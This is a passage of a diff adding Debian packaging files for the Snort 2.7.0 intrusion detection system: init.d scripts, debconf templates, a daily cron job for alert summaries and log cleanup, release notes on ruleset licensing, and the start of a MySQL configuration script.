+        if [ -e /etc/snort/db-pending-config ] ; then
+		echo "WARN: /etc/snort/db-pending-config file found"
+		echo "WARN: Snort will not start as its database is not yet configured."
+		echo "WARN: Please configure the database as described in"
+		echo "WARN: /usr/share/doc/snort-{pgsql,mysql}/README-database.Debian"
+		echo "WARN: and remove /etc/snort/db-pending-config"
+		exit 1
+	fi
+
+	echo -n "Starting $DESC: "
+        if ! check_log_dir; then
+		echo " will not start $DESC!"
+		exit 1
+	fi
+	if [ "$DEBIAN_SNORT_STARTUP" = "dialup" ]; then
+		shift
+		set +e
+		/etc/ppp/ip-up.d/snort "$@"
+		exit $?
+	fi
+
+	# Usually, we start all interfaces
+	interfaces="$DEBIAN_SNORT_INTERFACE"
+
+	# If we are requested to start a specific interface...
+	test "$2" && interfaces="$2"
+
+	myret=0
+	got_instance=0
+	for interface in $interfaces; do
+		got_instance=1
+		echo -n "$NAME($interface)"
+
+		PIDFILE=/var/run/snort_$interface.pid
+
+		fail="failed (check /var/log/daemon.log)"
+		/sbin/start-stop-daemon --stop --signal 0 --quiet \
+			--pidfile "$PIDFILE" --exec $DAEMON >/dev/null &&
+				fail="already running"
+
+		CONFIGFILE=/etc/snort/snort.$interface.conf
+		if [ ! -e "$CONFIGFILE" ]; then
+			echo "No /etc/snort/snort.$interface.conf, defaulting to snort.conf"
+			CONFIGFILE=/etc/snort/snort.conf
+		fi
+
+		set +e
+		/sbin/start-stop-daemon --start --quiet --pidfile "$PIDFILE" \
+			--exec $DAEMON -- $COMMON $DEBIAN_SNORT_OPTIONS \
+			-c $CONFIGFILE \
+			-S "HOME_NET=[$DEBIAN_SNORT_HOME_NET]" \
+			-i $interface >/dev/null
+		ret=$?
+		set -e
+		case "$ret" in
+			0)
+				echo "."
+				;;
+			*)
+				echo "...$fail."
+				myret=$(expr "$myret" + 1)
+				;;
+		esac
+	done
+
+	if [ "$got_instance" = 0 ]; then
+		echo "No snort instance found to be started!" >&2
+		exit 1
+	fi
+
+	exit $myret
+	;;
+  stop)
+	if [ "$DEBIAN_SNORT_STARTUP" = "dialup" ]; then
+		shift
+		set +e
+		/etc/ppp/ip-down.d/snort "$@"
+		exit $?
+	fi
+
+	# Usually, we stop all current running interfaces
+	pidpattern=/var/run/snort_*.pid
+
+	# If we are requested to stop a specific interface...
+	test "$2" && pidpattern=/var/run/snort_"$2".pid
+
+	got_instance=0
+	for PIDFILE in $pidpattern; do
+		# This check is also needed, if the above pattern doesn't match
+		test -f "$PIDFILE" || continue
+
+		got_instance=1
+		interface=$(basename "$PIDFILE" .pid | sed -e 's/^snort_//')
+
+		echo -n "Stopping $DESC: $NAME($interface)"
+
+		/sbin/start-stop-daemon --stop --retry 5 --quiet --oknodo \
+			--pidfile "$PIDFILE" --exec $DAEMON >/dev/null
+		rm -f "$PIDFILE"
+
+		echo "."
+	done
+
+	if [ "$got_instance" = 0 ]; then
+		echo "No snort instance found to be stopped!" >&2
+	fi
+	;;
+  restart|force-restart|reload|force-reload)
+	# Usually, we restart all current running interfaces
+	pidpattern=/var/run/snort_*.pid
+
+	# If we are requested to restart a specific interface...
+	test "$2" && pidpattern=/var/run/snort_"$2".pid
+
+	got_instance=0
+	for PIDFILE in $pidpattern; do
+		# This check is also needed, if the above pattern doesn't match
+		test -f "$PIDFILE" || continue
+
+		got_instance=1
+		interface=$(basename "$PIDFILE" .pid | sed -e 's/^snort_//')
+		$0 stop $interface || true
+		$0 start $interface || true
+	done
+
+	if [ "$got_instance" = 0 ]; then
+		echo "No snort instance found to be restarted!" >&2
+	fi
+	;;
+  status)
+        echo -n "Status of snort daemon(s):"
+	interfaces="$DEBIAN_SNORT_INTERFACE"
+	# If we are requested to check for a specific interface...
+	test "$2" && interfaces="$2"
+	for interface in $interfaces; do
+                echo -n " $interface "
+                pidfile=/var/run/snort_$interface.pid
+                if [ -f  "$pidfile" ] ; then
+ 	                pidval=`cat $pidfile`
+		        if ps -p $pidval | grep -q snort; then
+		       		echo -n "(ok)"
+			else
+				echo -n "(nok!)"
+			fi
+                 else
+                        echo -n "(nok!)"
+                 fi
+        done
+        echo "."
+        ;;
+  config-check)
+	if [ "$DEBIAN_SNORT_STARTUP" = "dialup" ]; then
+		echo "Config-check is currently not supported for snort in Dialup configuration"
+		exit 0
+	fi
+
+	# usually, we test all interfaces
+	interfaces="$DEBIAN_SNORT_INTERFACE"
+	# if we are requested to test a specific interface...
+	test "$2" && interfaces="$2"
+
+	myret=0
+	got_instance=0
+	for interface in $interfaces; do
+		got_instance=1
+		echo -n "checking $desc config: $name($interface)"
+
+		CONFIGFILE=/etc/snort/snort.$interface.conf
+		if [ ! -e "$CONFIGFILE" ]; then
+			CONFIGFILE=/etc/snort/snort.conf
+		fi
+		COMMON=`echo $COMMON | sed -e 's/-D//'`
+		set +e
+		$DAEMON -T $COMMON $DEBIAN_SNORT_OPTIONS \
+			-c $CONFIGFILE \
+			-S "HOME_NET=[$DEBIAN_SNORT_HOME_NET]" \
+			-i $interface >/dev/null 2>&1
+		ret=$?
+		set -e
+		case "$ret" in
+			0)
+				echo ".ok."
+				;;
+			*)
+				echo "...failed."
+				myret=$(expr "$myret" + 1)
+				;;
+		esac
+	done
+	if [ "$got_instance" = 0 ]; then
+		echo "no snort instance found to be started!" >&2
+		exit 1
+	fi
+
+	exit $myret
+	;;
+  *)
+	echo "Usage: $0 {start|stop|restart|force-restart|reload|force-reload|status|config-check}"
+	exit 1
+	;;
+esac
+exit 0
--- snort-2.7.0.orig/debian/snort.DATABASE.templates
+++ snort-2.7.0/debian/snort.DATABASE.templates
@@ -0,0 +1,41 @@
+
+Template: snort{PACKAGE}/configure_db
+Type: boolean
+Default: true
+_Description: Set up a database for snort{PACKAGE} to log to?
+ No database has been set up for Snort to log to. Before continuing,
+ you should make sure you have:
+ .
+  - the server host name (that server must allow TCP connections
+    from this machine);
+  - a database on that server;
+  - a username and password to access the database.
+ .
+ If some of these requirements are missing, reject this option and
+ run with regular file logging support.
+ .
+ Database logging can be reconfigured later by running
+ 'dpkg-reconfigure -plow snort{PACKAGE}'.
+
+Template: snort{PACKAGE}/db_host
+Type: string
+_Description: Database server hostname:
+ Please specify the host name of a database server that allows
+ incoming connections from this host.
+
+Template: snort{PACKAGE}/db_database
+Type: string
+_Description: Database name:
+ Please specify the name of an existing database to which the
+ database user has write access.
+
+Template: snort{PACKAGE}/db_user
+Type: string
+_Description: Username for database access:
+ Please specify a database server username with write access to the database.
+
+Template: snort{PACKAGE}/db_pass
+Type: password
+_Description: Password for the database connection:
+ Please enter the password to use to connect to the Snort Alert database.
+
--- snort-2.7.0.orig/debian/snort-inline.templates
+++ snort-2.7.0/debian/snort-inline.templates
@@ -0,0 +1,122 @@
+Template: snort-inline/startup
+Type: select
+__Choices: boot, dialup, manual
+Default: boot
+_Description: Snort start method:
+ Snort can be started during boot, when connecting to the net with pppd or
+ only manually with the /usr/sbin/snort command.
+
+Template: snort-inline/interface
+Type: string
+Default: eth0
+_Description: Interface(s) which Snort should listen on:
+ This value is usually 'eth0', but this may be inappropriate in some
+ network environments; for a dialup connection 'ppp0' might be more
+ appropiate (see the output of '/sbin/ifconfig').
+ .
+ Typically, this is the same interface as the 'default route' is on. You can
+ determine which interface is used for this by running '/sbin/route -n'
+ (look for '0.0.0.0').
+ .
+ It is also not uncommon to use an interface with no IP address
+ configured in promiscuous mode. For such cases, select the
+ interface in this system that is physically connected to the network
+ that should be inspected, enable promiscuous mode later on and make sure
+ that the network traffic is sent to this interface (either connected
+ to a 'port mirroring/spanning' port in a switch, to a hub or to a tap).
+ .
+ You can configure multiple interfaces, just by adding more than
+ one interface name separated by spaces. Each interface can have its
+ own specific configuration.
+
+Template: snort-inline/address_range
+Type: string
+Default: 192.168.0.0/16
+_Description: Address range for the local network:
+ Please use the CIDR form - for example, 192.168.1.0/24 for a block of
+ 256 addresses or 192.168.1.42/32 for just one. Multiple values should
+ be comma-separated (without spaces).
+ .
+ Please note that if Snort is configured to use multiple interfaces,
+ it will use this value as the HOME_NET definition for all of them.
+
+Template: snort-inline/disable_promiscuous
+Type: boolean
+Default: false
+_Description: Should Snort disable promiscuous mode on the interface?
+ Disabling promiscuous mode means that Snort will only see packets
+ addressed to the interface it is monitoring. Enabling it allows Snort to
+ check every packet that passes the Ethernet segment even if it's a
+ connection between two other computers.
+
+
+Template: snort-inline/invalid_interface
+Type: error
+_Description: Invalid interface
+ Snort is trying to use an interface which does not exist or is down.
+ Either it is defaulting inappropriately to 'eth0', or you specified
+ one which is invalid.
+
+Template: snort-inline/reverse_order
+Type: boolean
+Default: false
+_Description: Should Snort's testing order be changed to Pass|Alert|Log?
+ Snort's default testing order is Alert|Pass|Log; if you accept this
+ option, the order will be changed to Pass|Alert|Log, which can make it
+ simpler to use Snort with some packet-filtering tools.
+
+Template: snort-inline/send_stats
+Type: boolean
+Default: true
+_Description: Should daily summaries be sent by e-mail?
+ A cron job can be set up to send daily summaries of Snort logs to a
+ selected e-mail address.
+ .
+ Please choose whether you want to activate this feature.
+
+Template: snort-inline/stats_rcpt
+Type: string
+Default: root
+_Description: Recipient of daily statistics mails:
+ Please specify the e-mail address that should receive daily summaries
+ of Snort logs.
+
+Template: snort-inline/options
+Type: string
+_Description: Additional custom options:
+ Please specify any additional options Snort should use.
+
+Template: snort-inline/stats_treshold
+Type: string
+Default: 1
+_Description: Minimum occurrences before alerts are reported:
+ Please enter the minimum number of alert occurrences before a given alert is
+ included in the daily statistics.
+
+Template: snort-inline/please_restart_manually
+Type: note
+_Description: Snort restart required
+ As Snort is manually launched, you need to run '/etc/init.d/snort' for
+ the changes to take place.
+
+Template: snort-inline/config_error
+Type: error
+_Description: Configuration error
+ The current Snort configuration is invalid and will prevent Snort
+ starting up normally. Please review and correct it.
+ .
+ To diagnose an error in a Snort configuration file, use
+ '/usr/sbin/snort -T -c <file>'.
+
+Template: snort-inline/config_parameters
+Type: error
+_Description: Obsolete configuration file
+ This system uses an obsolete configuration file
+ (/etc/snort/snort.common.parameters)
+ which has been automatically converted into the new configuration
+ file format (at /etc/default/snort).
+ .
+ Please review the new configuration and remove the obsolete
+ one. Until you do this, the initialization script will not use the new
+ configuration and you will not take advantage of the benefits
+ introduced in newer releases.
--- snort-2.7.0.orig/debian/copyright_review.sh
+++ snort-2.7.0/debian/copyright_review.sh
@@ -0,0 +1,10 @@
+#!/bin/
+
+# Review copyright statements and filter out known ones 
+# (in copyright_list)
+
+SOURCE=../src
+grep -ri copyright $SOURCE |
+grep -v -f copyright_list 
+
+exit 0
--- snort-2.7.0.orig/debian/snort.dirs
+++ snort-2.7.0/debian/snort.dirs
@@ -0,0 +1,11 @@
+etc/cron.daily
+etc/init.d
+etc/logrotate.d
+etc/default
+etc/ppp/ip-down.d
+etc/ppp/ip-up.d
+etc/snort
+usr/sbin
+usr/share/doc/snort
+usr/share/man/man8
+var/log/snort
--- snort-2.7.0.orig/debian/snort.init.d
+++ snort-2.7.0/debian/snort.init.d
@@ -0,0 +1,439 @@
+#!/bin/sh -e
+#
+# Init.d script for Snort in Debian
+#
+# Copyright (c) 2001 Christian Hammers 
+# Copyright (c) 2001-2002 Robert van der Meulen
+# Copyright (c) 2002-2004 Sander Smeenk <ssmeenk@debian.org>
+# Copyright (c) 2004-2007 Javier Fernandez-Sanguino <jfs@debian.org>
+#
+# This is free software; you may redistribute it and/or modify
+# it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2,
+# or (at your option) any later version.
+#
+# This is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License with
+# the Debian operating system, in /usr/share/common-licenses/GPL;  if
+# not, write to the Free Software Foundation, Inc., 59 Temple Place,
+# Suite 330, Boston, MA 02111-1307 USA
+#
+### BEGIN INIT INFO
+# Provides:          snort
+# Required-Start:    $time $network $local_fs
+# Required-Stop:     
+# Should-Start:      $syslog
+# Should-Stop:       
+# Default-Start:     2 3 4 5
+# Default-Stop:      0 1 6
+# Short-Description: Lightweight network intrusion detection system
+# Description:       Intrusion detection system that will
+#                    capture traffic from the network cards and will
+#                    match against a set of known attacks.
+### END INIT INFO
+
+PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
+
+test $DEBIAN_SCRIPT_DEBUG && set -v -x
+
+DAEMON=/usr/sbin/snort
+NAME=snort
+DESC="Network Intrusion Detection System"
+
+. /lib/lsb/init-functions
+
+
+CONFIG=/etc/snort/snort.debian.conf
+# Old (obsolete) way to provide parameters
+if [ -f /etc/snort/snort.common.parameters ] ; then
+	COMMON=`cat /etc/snort/snort.common.parameters`
+elif [ -r /etc/default/snort ] ; then
+# Only read this if the old configuration is not present
+	. /etc/default/snort
+	COMMON="$PARAMS -l $LOGDIR -u $SNORTUSER -g $SNORTGROUP"
+fi
+
+test -x $DAEMON || exit 0
+test -f $CONFIG && . $CONFIG
+test -z "$DEBIAN_SNORT_HOME_NET" && DEBIAN_SNORT_HOME_NET="192.168.0.0/16"
+
+# to find the lib files
+cd /etc/snort
+
+running()
+{
+        PIDFILE=$1
+# No pidfile, probably no daemon present
+        [ ! -f "$PIDFILE" ] && return 1
+        pid=`cat $PIDFILE`
+# No pid, probably no daemon present
+        [ -z "$pid" ] && return 1
+        [ ! -d /proc/$pid ] &&  return 1
+        cmd=`cat /proc/$pid/cmdline | tr "\000" "\n"|head -n 1 |cut -d : -f 1`
+# No daemon
+        [ "$cmd" != "$DAEMON" ] &&  return 1
+        return 0
+}
+
+
+check_log_dir() {
+# Does the logging directory belong to Snort?
+	# If we cannot determine the logdir return without error
+	# (we will not check it)
+	# This will only be used by people using /etc/default/snort
+	[ -n "$LOGDIR" ] || return 0
+	[ -n "$SNORTUSER" ] || return 0
+	if [ ! -e "$LOGDIR" ] ; then
+		log_failure_msg "ERR: logging directory $LOGDIR does not exist"
+		return 1
+	elif [ ! -d "$LOGDIR" ] ; then
+		log_failure_msg "ERR: logging directory $LOGDIR does not exist"
+		return 1
+	else
+		real_log_user=`stat -c %U $LOGDIR`
+	# An alternative way is to check if the snort user can create 
+	# a file there...
+		if [ "$real_log_user" != "$SNORTUSER" ] ; then
+			log_failure_msg "ERR: logging directory $LOGDIR does not belong to the snort user $SNORTUSER"
+			return 1
+		fi
+	fi
+	return 0
+}
+
+check_root()  {
+    if [ "$(id -u)" != "0" ]; then
+        log_failure_msg "You must be root to start, stop or restart $NAME."
+        exit 4
+    fi
+}
+
+case "$1" in
+  start)
+        check_root
+	log_daemon_msg "Starting $DESC " "$NAME"
+
+        if [ -e /etc/snort/db-pending-config ] ; then
+		log_failure_msg "/etc/snort/db-pending-config file found"
+		log_failure_msg "Snort will not start as its database is not yet configured."
+		log_failure_msg "Please configure the database as described in"
+		log_failure_msg "/usr/share/doc/snort-{pgsql,mysql}/README-database.Debian"
+		log_failure_msg "and remove /etc/snort/db-pending-config"
+		exit 6
+	fi
+
+        if ! check_log_dir; then
+		log_failure_msg " will not start $DESC!"
+		exit 5
+	fi
+	if [ "$DEBIAN_SNORT_STARTUP" = "dialup" ]; then
+		shift
+		set +e
+		/etc/ppp/ip-up.d/snort "$@"
+		ret=$?
+                if  [ $ret -eq 0 ] ; then
+                  log_end_msg 0
+                else
+                  log_end_msg 1
+                fi
+		exit $ret
+	fi
+
+	# Usually, we start all interfaces
+	interfaces="$DEBIAN_SNORT_INTERFACE"
+
+	# If we are requested to start a specific interface...
+	test "$2" && interfaces="$2"
+
+        # If the interfaces list is empty stop (no error)
+        if [ -z "$interfaces" ] ; then
+            log_progress_msg "no interfaces configured, will not start"
+            log_end_msg 0
+            exit 0
+        fi
+
+	myret=0
+	got_instance=0
+	for interface in $interfaces; do
+		got_instance=1
+		log_progress_msg "($interface"
+
+                # Check if the interface is available:
+                # - only if iproute is available
+                # - the interface exists 
+                # - the interface is up
+                if ! [ -x /sbin/ip ] || ( ip link show dev "$interface" >/dev/null 2>&1 && [ -n "`ip link show up "$interface" 2>/dev/null`" ] ) ; then
+
+		PIDFILE=/var/run/snort_$interface.pid
+                CONFIGFILE=/etc/snort/snort.$interface.conf
+
+                # Defaults:
+		fail="failed (check /var/log/syslog and /var/log/snort)"
+                run="yes"
+
+                if [ -e "$PIDFILE" ] && running $PIDFILE; then
+                        run="no" 
+                        # Do not start this instance, it is already runing
+                fi
+
+                if [ "$run" = "yes" ] ; then
+                    if [ ! -e "$CONFIGFILE" ]; then
+                        log_progress_msg "no /etc/snort/snort.$interface.conf found, defaulting to snort.conf"
+                        CONFIGFILE=/etc/snort/snort.conf
+                    fi
+
+                    set +e
+                    /sbin/start-stop-daemon --start --quiet  \
+                        --pidfile "$PIDFILE" \
+                        --exec $DAEMON -- $COMMON $DEBIAN_SNORT_OPTIONS \
+                        -c $CONFIGFILE \
+                        -S "HOME_NET=[$DEBIAN_SNORT_HOME_NET]" \
+                        -i $interface >/dev/null
+                    ret=$?
+                    case "$ret" in
+			0)
+                                log_progress_msg  "...done)"
+				;;
+			*)
+				log_progress_msg "...ERROR: $fail)"
+				myret=$(expr "$myret" + 1)
+				;;
+                     esac
+                     set -e
+                else
+                        log_progress_msg "...already running)"
+                fi
+
+                else
+                # What to do if the interface is not available
+                # or is not up
+                        if [ "$ALLOW_UNAVAILABLE" != "no" ] ; then 
+                            log_progress_msg "...interface not available)"
+                        else 
+                            log_progress_msg "...ERROR: interface not available)"
+                            myret=$(expr "$myret" + 1)
+                        fi
+                fi
+	done
+
+	if [ "$got_instance" = 0 ] && [ "$ALLOW_UNAVAILABLE" = "no" ]; then
+		log_failure_msg "No snort instance found to be started!" >&2
+		exit 6
+	fi
+
+        if  [ $myret -eq 0 ] ; then
+            log_end_msg 0
+        else
+            log_end_msg 1
+        fi
+	exit $myret
+	;;
+  stop)
+        check_root
+        log_daemon_msg "Stopping $DESC " "$NAME"
+    
+	if [ "$DEBIAN_SNORT_STARTUP" = "dialup" ]; then
+		shift
+		set +e
+		/etc/ppp/ip-down.d/snort "$@"
+		ret=$?
+                if  [ $ret -eq 0 ] ; then
+                    log_end_msg 0
+                else
+                  log_end_msg 1
+                fi
+		exit $ret
+	fi
+
+	# Usually, we stop all current running interfaces
+	pidpattern=/var/run/snort_*.pid
+
+	# If we are requested to stop a specific interface...
+	test "$2" && pidpattern=/var/run/snort_"$2".pid
+
+	got_instance=0
+        myret=0
+	for PIDFILE in $pidpattern; do
+		# This check is also needed, if the above pattern doesn't match
+		test -f "$PIDFILE" || continue
+
+		got_instance=1
+		interface=$(basename "$PIDFILE" .pid | sed -e 's/^snort_//')
+
+		log_progress_msg "($interface"
+
+		set +e
+                if [ ! -e "$PIDFILE" -o -r "$PIDFILE" ] ; then
+# Change ownership of the pidfile
+		    /sbin/start-stop-daemon --stop --retry 5 --quiet --oknodo \
+			--pidfile "$PIDFILE" --exec $DAEMON >/dev/null
+                    ret=$?
+                    rm -f "$PIDFILE"
+                    rm -f "$PIDFILE.lck"
+                else
+                     log_progress_msg "cannot read $PIDFILE"
+                     ret=4
+                fi
+		case "$ret" in
+			0)
+                                log_progress_msg  "...done)"
+				;;
+			*)
+				log_progress_msg "...ERROR)"
+				myret=$(expr "$myret" + 1)
+				;;
+		esac
+                set -e
+
+	done
+
+	if [ "$got_instance" = 0 ]; then
+		log_warning_msg "No running snort instance found"
+                exit 0 # LSB demands we don't exit with error here
+	fi
+        if  [ $myret -eq 0 ] ; then
+            log_end_msg 0
+        else
+            log_end_msg 1
+        fi
+	exit $myret
+	;;
+  restart|force-restart|reload|force-reload)
+        check_root
+	# Usually, we restart all current running interfaces
+	pidpattern=/var/run/snort_*.pid
+
+	# If we are requested to restart a specific interface...
+	test "$2" && pidpattern=/var/run/snort_"$2".pid
+
+	got_instance=0
+	for PIDFILE in $pidpattern; do
+		# This check is also needed, if the above pattern doesn't match
+		test -f "$PIDFILE" || continue
+
+		got_instance=1
+		interface=$(basename "$PIDFILE" .pid | sed -e 's/^snort_//')
+		$0 stop $interface || true
+		$0 start $interface || true
+	done
+
+	if [ "$got_instance" = 0 ]; then
+		log_failure_msg "No snort instance found to be stopped!" >&2
+                exit 6
+	fi
+	;;
+  status)
+# Non-root users can use this (if allowed to)
+        log_daemon_msg "Status of snort daemon(s)"
+	interfaces="$DEBIAN_SNORT_INTERFACE"
+	# If we are requested to check for a specific interface...
+	test "$2" && interfaces="$2"
+        err=0
+        pid=0
+	for interface in $interfaces; do
+                log_progress_msg " $interface "
+                pidfile=/var/run/snort_$interface.pid
+                if [ -f  "$pidfile" ] ; then
+                        if [ -r "$pidfile" ] ; then
+                            pidval=`cat $pidfile`
+                            pid=$(expr "$pid" + 1)
+                            if ps -p $pidval | grep -q snort; then
+                                log_progress_msg "OK"
+                            else
+				log_progress_msg "ERROR"
+				err=$(expr "$err" + 1)
+			    fi
+                         else
+	       		     log_progress_msg "ERROR: cannot read status file"
+                             err=$(expr "$err" + 1)
+                         fi
+                 else
+                       log_progress_msg "ERROR"
+                       err=$(expr "$err" + 1)
+                 fi
+        done
+        if [ $err -ne 0 ] ; then
+            if [ $pid -ne 0 ] ; then
+# More than one case where pidfile exists but no snort daemon
+# LSB demands a '1' exit value here
+                log_end_msg  1
+                exit 1
+            else
+# No pidfiles at all
+# LSB demands a '3' exit value here
+                log_end_msg  3
+                exit 3
+            fi
+        fi
+        log_end_msg  0
+        ;;
+  config-check)
+        log_daemon_msg "Checking $DESC configuration" 
+	if [ "$DEBIAN_SNORT_STARTUP" = "dialup" ]; then
+		log_failure_msg "Config-check is currently not supported for snort in Dialup configuration"
+                log_end_msg  3
+                exit 3
+	fi
+
+	# usually, we test all interfaces
+	interfaces="$DEBIAN_SNORT_INTERFACE"
+	# if we are requested to test a specific interface...
+	test "$2" && interfaces="$2"
+
+	myret=0
+	got_instance=0
+	for interface in $interfaces; do
+		got_instance=1
+		log_progress_msg "interface $interface"
+
+		CONFIGFILE=/etc/snort/snort.$interface.conf
+		if [ ! -e "$CONFIGFILE" ]; then
+			CONFIGFILE=/etc/snort/snort.conf
+		fi
+		COMMON=`echo $COMMON | sed -e 's/-D//'`
+		set +e
+                fail="INVALID"
+		if [ -r "$CONFIGFILE" ]; then
+                    $DAEMON -T $COMMON $DEBIAN_SNORT_OPTIONS \
+			-c $CONFIGFILE \
+			-S "HOME_NET=[$DEBIAN_SNORT_HOME_NET]" \
+			-i $interface >/dev/null 2>&1
+                    ret=$?
+                else
+                    fail="cannot read $CONFIGFILE"
+                    ret=4
+                fi
+		set -e
+
+		case "$ret" in
+			0)
+                                log_progress_msg "OK"
+				;;
+			*)
+                                log_progress_msg "$fail"
+				myret=$(expr "$myret" + 1)
+				;;
+		esac
+	done
+	if [ "$got_instance" = 0 ]; then
+		log_failure_msg "no snort instance found to be started!" >&2
+		exit 6
+	fi
+
+        if  [ $myret -eq 0 ] ; then
+            log_end_msg 0
+        else
+            log_end_msg 1
+        fi
+	exit $myret
+	;;
+  *)
+	echo "Usage: $0 {start|stop|restart|force-restart|reload|force-reload|status|config-check}"
+	exit 1
+	;;
+esac
+exit 0
--- snort-2.7.0.orig/debian/snort-pgsql.dirs
+++ snort-2.7.0/debian/snort-pgsql.dirs
@@ -0,0 +1,11 @@
+etc/cron.daily
+etc/init.d
+etc/logrotate.d
+etc/default
+etc/ppp/ip-down.d
+etc/ppp/ip-up.d
+etc/snort
+usr/sbin
+usr/share/doc/snort
+usr/share/man/man8
+var/log/snort
--- snort-2.7.0.orig/debian/snort-doc.docs
+++ snort-2.7.0/debian/snort-doc.docs
@@ -0,0 +1,25 @@
+debian/README.docs
+doc/README
+doc/README.alert_order
+doc/README.asn1
+doc/README.csv
+doc/README.database
+doc/README.event_queue
+doc/README.FLEXRESP
+doc/README.flow
+doc/README.flowbits
+doc/README.flow-portscan
+doc/README.http_inspect
+doc/README.INLINE
+doc/README.PLUGINS
+doc/README.sfportscan
+doc/README.thresholding
+doc/README.UNSOCK
+doc/README.wireless
+doc/snort_schema_v106.pdf
+doc/snort_manual.pdf
+doc/faq.pdf
+doc/TODO
+doc/USAGE
+doc/WISHLIST
+debian/my/lisapaper.txt
--- snort-2.7.0.orig/debian/NEWS
+++ snort-2.7.0/debian/NEWS
@@ -0,0 +1,46 @@
+snort (2.7.0-15) unstable; urgency=low
+
+  The Database schema changed in Snort from 2.6 to the 2.7 release,
+  if you are upgrading from an older release please see the document
+  README-database-upgrade.Debian (available in the Snort documentation
+  directory /usr/share/doc/snort-{mysql,pgsql}) and take the appropriate 
+  steps to update your Database schema.
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Thu, 01 May 2008 22:38:46 +0200
+
+snort (2.7.0-1) unstable; urgency=low
+
+  Sourcefire changed the license of the IDS ruleset in 2.4 introducing the "VRT
+  Certified rules" ruleset which is the official ruleset for Snort. This
+  ruleset, however, is provided only through a non-free license which prohibits
+  redistribution within this package.
+
+  As a consequence this package provides only free (GPL) rules. No rule 
+  with a sid in the 3,465-1,000,000 range (VRT Certified) is included here.
+  The rules provided on this package are based on the official ruleset for
+  Snort 2.4 (updated 7/27/05) and the Community ruleset.
+
+  Certified rules download require users either to pay (if they want the latest
+  rules) or register (for rules provided with a 30-delay period). Users
+  whishing to go this way can use the 'oinkmaster' package to auomatically
+  update their rulesets once they have registered at snort.org's site.
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Tue, 31 Jul 2007 23:42:44 +0200
+
+snort (2.3.2-1) unstable; urgency=medium
+
+  * In Snort version 2.3.0 and later the preferred configuration method
+    uses /etc/default/snort rather than /etc/snort/snort.common.parameters.
+    The new approach makes it possible to introduce improvements in the
+    init.d script, such as sanity checks for common misconfigurations.
+
+  * Upgrading automatically generates the file /etc/default/snort
+    from /etc/snort/snort.common.parameters. 
+
+  * Since the automatically generated file may not be correct, you should 
+    inspect it or create a new one to your liking.  If the configuration
+    file is correct, delete /etc/snort/snort.common.parameters and restart
+    the server to use the new file. The system will run Snort with the old
+    configuration file until you do so.
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Tue,  8 Feb 2005 23:55:57 +0100
--- snort-2.7.0.orig/debian/snort.cron.daily
+++ snort-2.7.0/debian/snort.cron.daily
@@ -0,0 +1,35 @@
+#!/bin/sh -e
+
+test -f /usr/sbin/snort || exit 0
+
+LOGFILE=/var/log/snort/alert
+PATH=/bin:/usr/bin:/sbin:/usr/sbin
+CONFIG=/etc/snort/snort.debian.conf
+. $CONFIG
+
+# Don't generate stats if we are configured not to
+[ "$DEBIAN_SNORT_SEND_STATS" = "false" ] && exit 0
+
+export DEBIAN_SNORT_STATS_RCPT DEBIAN_SNORT_STATS_THRESHOLD
+
+# Just in case it's not properly configured for whatever reason
+[ -z "$DEBIAN_SNORT_STATS_THRESHOLD" ] && DEBIAN_SNORT_STATS_THRESHOLD=1
+[ -z "$DEBIAN_SNORT_STATS_RCPT" ] && DEBIAN_SNORT_STATS_RCPT=root
+
+# Cannot use logrotate to rotate these logfiles...
+# 'rotate' saved RAW-Ethernet streams
+# New snort has different naming scheme, old one still here for upgrades
+find /var/log/snort -name "snort-*@*.log" -mtime +15 | xargs --no-run-if-empty rm
+find /var/log/snort -name "tcpdump.log.*" -mtime +15 | xargs --no-run-if-empty rm
+find /var/log/snort -name "snort.log.*" -mtime +15 | xargs --no-run-if-empty rm
+
+# Mail snort stats
+if [ -s $LOGFILE ]; then
+	(echo "To: $DEBIAN_SNORT_STATS_RCPT"; snort-stat -a -t $DEBIAN_SNORT_STATS_THRESHOLD < $LOGFILE) | sendmail -t
+fi
+
+# Restarting snort is now handled by the logrotate configuration.
+# The 'intelligence' of not to start in certain startup-modes moved
+# to the init.d script as well.
+
+exit 0
--- snort-2.7.0.orig/debian/snort-mysql.config
+++ snort-2.7.0/debian/snort-mysql.config
@@ -0,0 +1,78 @@
+#!/bin/sh -e
+
+. /usr/share/debconf/confmodule
+
+db_input low snort-mysql/startup || true
+db_go
+
+# /etc/ppp/ip-up.d/snort-mysql is called with interface and IP number
+db_get snort-mysql/startup
+if [ "x$RET" = "xdialup" ]; then
+  db_set snort-mysql/interface ""
+  db_set snort-mysql/address_range ""
+  db_set snort-mysql/disable_promiscuous true
+else
+  db_beginblock
+  db_input medium snort-mysql/interface || true
+  db_input high snort-mysql/address_range || true
+  db_input low snort-mysql/disable_promiscuous || true
+  db_endblock
+  db_go
+fi
+
+db_beginblock
+db_input low snort-mysql/reverse_order || true
+db_input low snort-mysql/options || true
+db_endblock
+db_go
+
+db_beginblock
+db_input low snort-mysql/send_stats || true
+db_go
+
+db_get snort-mysql/send_stats
+if [ $RET = true ]; then
+	db_beginblock
+	db_input medium snort-mysql/stats_rcpt || true
+	db_input low snort-mysql/stats_treshold || true
+	db_endblock
+	db_go
+fi
+
+db_input high snort-mysql/configure_db || true
+db_go
+db_get snort-mysql/configure_db
+if  [ "x$RET" = "xtrue" ]; then
+	db_beginblock
+	db_input medium snort-mysql/db_host || true
+	db_input medium snort-mysql/db_database || true
+	db_input medium snort-mysql/db_user || true
+	db_input medium snort-mysql/db_pass || true
+	db_get snort-pgsql/wait_for_db_config || true
+	if  [ "x$RET" = "xtrue" ]; then
+		db_set snort-mysql/needs_db_config "true" || true
+	else
+		db_input medium snort-mysql/needs_db_config || true
+	fi
+	db_endblock
+	db_go
+fi
+
+DEFAULT=/etc/default/snort
+PARAMETERS=/etc/snort/snort.common.parameters
+if [ -e "$DEFAULT" ] && [ -e "$PARAMETERS" ] ; then
+        db_beginblock
+        db_input medium snort-mysql/config_parameters || true
+        db_endblock
+        db_go
+fi
+
+db_get snort-mysql/startup
+if [ "x$RET" = "xmanual" ]; then
+	db_beginblock
